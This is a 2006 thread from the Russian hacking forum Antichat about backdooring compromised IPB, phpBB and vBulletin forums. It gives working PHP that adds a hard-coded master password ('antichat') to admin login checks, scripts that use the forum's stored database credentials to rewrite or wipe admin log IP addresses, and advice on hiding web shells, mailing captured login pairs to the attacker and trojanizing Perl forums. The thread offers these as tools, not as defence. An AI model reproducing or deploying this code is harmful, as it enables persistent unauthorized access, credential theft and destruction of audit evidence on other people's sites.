Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Бэкдорим форумы. Теория и практика! |

06.09.2006, 21:41
|
|
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме: 7681825
Репутация:
4451
|
|
Бэкдорим форумы. Теория и практика!
Очень часто после получения доступа к форумной части надо оставить лазейку для будущего контролирования админ-панелью.Можно добавить нового админа,можно изменить информацию старого,но есои целью является сохранить доступ то это не наш способ.Я рассмотрю возможность постановки бекдора в двух самых популярных форумных движков - IPB и в печально известнои phpBB.
IPB
Первое,что приходит на ум - открыть admin.php и найти кусок проверки кода введенного пароля.Находим строку
PHP код:
require_once( ROOT_PATH."sources/action_admin/login.php" );
Проверка корректности пароля происходит в файле login.php,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.
PHP код:
if ( $this->ipsclass->converge->converge_authenticate_member( $pass ) != TRUE )
{
$this->login_form("The password you entered is not correct");
}
Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию
PHP код:
if (( $this->ipsclass->input['password']) == "antichat")
{
$sess_id = md5( uniqid( microtime() ) );
$db_string = $this->ipsclass->DB->compile_db_insert_string( array (
'session_id' => $sess_id,
'session_ip_address' => $this->ipsclass->ip_address,
'session_member_name' => $mem['name'],
'session_member_id' => $mem['id'],
'session_member_login_key' => $mem['member_login_key'],
'session_location' => 'index',
'session_log_in_time' => time(),
'session_running_time' => time(),
) );
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
$this->ipsclass->input['adsess'] = $sess_id;
$this->ipsclass->admin->redirect( $this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['php_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query, 'Log In Successful' );
exit();
}
Пробуем ввести в связке логин существующего админа и пароль antichat - и мы попадаем в админ панель.
но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код
При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.
phpBB
В форумах вида phpBB все гораздо проще - логин и пароль проверяется в одном скрипте.
В этом месте скрипт сравнивает правильность введенного пароля
PHP код:
if( md5($password) == $row['user_password'] && $row['user_active'] )
Меняем эту строчку на
PHP код:
if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat"))
Вводим пароль antichat и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида
Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.
* Про то,как поднять права в различных форумах можно прочитать тут
Последний раз редактировалось gemaglabin; 06.09.2006 в 21:44..
|
|
|

07.09.2006, 11:29
|
|
Banned
Регистрация: 06.03.2005
Сообщений: 1,645
Провел на форуме: 7298807
Репутация:
901
|
|
Живая тема  . Прикреплю.
Сообщение от gemaglabin
Как и в случае с IPB можно в любом скрипте оставить шелл вида
Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.
А почему бы не сделать,
?
Менее удобно в юзанье, но проблемы с логами, после такого шелла - отпадают 
|
|
|

07.09.2006, 14:38
|
|
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме: 4520553
Репутация:
1316
|
|
файлы для троянизации различаються в каждой версии любого форума. Проверено.
|
|
|
Чистим логи в ipb и vbulletin |

07.09.2006, 15:06
|
|
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме: 7681825
Репутация:
4451
|
|
Чистим логи в ipb и vbulletin
Вообщем накатал два скрипта,могут поменять ip адреса в логах пребывания в админ панели или полность очистить таблицу.
Возможно где-то еще хранятся айпи,я не в курсе,но по аналогии можно дописать
Ах да,скрипты берут информацию для коннекта из конфигурационных файлов форума,те кидать надо в корень сервера.
Invision Power Board
PHP код:
<FORM NAME=check METHOD=POST ACTION='?change'>
<TD>Change IP To</TD>
<TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
<TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
</Form>
<FORM NAME=check METHOD=POST ACTION='?clean'>
<TD>Clean Logs</TD>
<TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
</Form>
<?php
if (isset($_GET['change']) || isset($_GET['clean']))
{
require_once('./conf_global.php');
$dbtype = $INFO ['sql_driver'];
$dbname = $INFO ['sql_database'];
$prefix = $INFO ['sql_tbl_prefix'];
$server = $INFO ['sql_host'];
$sqluser = $INFO ['sql_user'];
$sqlpass = $INFO ['sql_pass'];
$db = mysql_connect($server,$sqluser, $sqlpass);
if (!$db) die ("cannot connect to mysql host");
mysql_SELECT_db($dbname);
if (isset($_POST['ip']) && !empty($_POST['ip']))
{
$newip = $_POST['ip'];
$sql = 'UPDATE `'.$prefix.'admin_logs` SET `ip_address` = '.$newip;
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were updated to $newip";
}
if (isset($_GET['clean']))
{
$sql = 'TRUNCATE TABLE `'.$prefix.'admin_logs`';
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were destroyed";
}
}
?>
vBulletion Board
PHP код:
<FORM NAME=check METHOD=POST ACTION='?change'>
<TD>Change IP To</TD>
<TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
<TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
</Form>
<FORM NAME=check METHOD=POST ACTION='?clean'>
<TD>Clean Logs</TD>
<TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
</Form>
<?php
if (isset($_GET['change']) || isset($_GET['clean']))
{
require_once('./includes/config.php');
$dbtype = $config['Database']['dbtype'];
$dbname = $config['Database']['dbname'];
$prefix = $config['Database']['tableprefix'];
$server = $config['MasterServer']['servername'];
$port = $config['MasterServer']['port'];
$sqluser = $config['MasterServer']['username'];
$sqlpass = $config['MasterServer']['password'];
$db = mysql_connect($server,$sqluser, $sqlpass);
if (!$db) die ("cannot connect to mysql host");
mysql_SELECT_db($dbname);
if (isset($_POST['ip']) && !empty($_POST['ip']))
{
$newip = $_POST['ip'];
$sql = 'UPDATE `adminlog` SET `ipaddress` = '.$newip;
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were updated to $newip";
}
if (isset($_GET['clean']))
{
$sql = 'TRUNCATE TABLE `adminlog`';
$result = mysql_query ($sql) ;
if (!$result) die("cannot execute sql query ".mysql_error());
echo "all ip addresses were destroyed";
}
}
?>
Ну или скачать = )
http://www.mytempdir.com/915084
|
|
|

09.09.2006, 13:15
|
|
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме: 7681825
Репутация:
4451
|
|
Как универсальный метод забекдоривания - в функциях проверки связки пасс - юзер вставить mail() с передачей этой самой связки на ваше мыло.
|
|
|

09.09.2006, 14:19
|
|
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме: 4520553
Репутация:
1316
|
|
на моем форуме при попытки взлома мне отсылаеться смс, со всеми данными =))
Иногда даже очень помогает узнать, кто из своих пытаеться взломать форум.
|
|
|

11.09.2006, 15:18
|
|
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме: 4646474
Репутация:
1424
|
|
|
|
|

12.09.2006, 21:59
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Небольшое замечание:
Порой в настройках PHP установлена директива disable_functions со значением "exec, system, passthru и т.п." тогда необходимо использовать eval т.к. всего можно добиться средствами PHP.
|
|
|

29.10.2006, 12:14
|
|
Новичок
Регистрация: 29.10.2006
Сообщений: 1
Провел на форуме: 3077
Репутация:
0
|
|
А если вот такой код:
PHP код:
<script type="text/javascript">
<!--
function process_form(the_form)
{
var element_names = new Object()
element_names["req_username"] = "Имя"
element_names["req_password"] = "Пароль"
if (document.all || document.getElementById)
{
for (i = 0; i < the_form.length; ++i)
{
var elem = the_form.elements[i]
if (elem.name && elem.name.substring(0, 4) == "req_")
{
if (elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
{
alert("\"" + element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
elem.focus()
return false
}
}
}
}
return true
}
// -->
</script>
Что можно сделать?
Последний раз редактировалось _-[A.M.D]HiM@S-_; 22.01.2007 в 01:32..
|
|
|

07.12.2006, 18:58
|
|
Постоянный
Регистрация: 17.09.2005
Сообщений: 375
Провел на форуме: 993362
Репутация:
175
|
|
Есть какой-нибудь аналог system("$_GET[c];"); в Перле? нужно затроянить форум на Перле, и не знаю че бы туда такого вставить.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|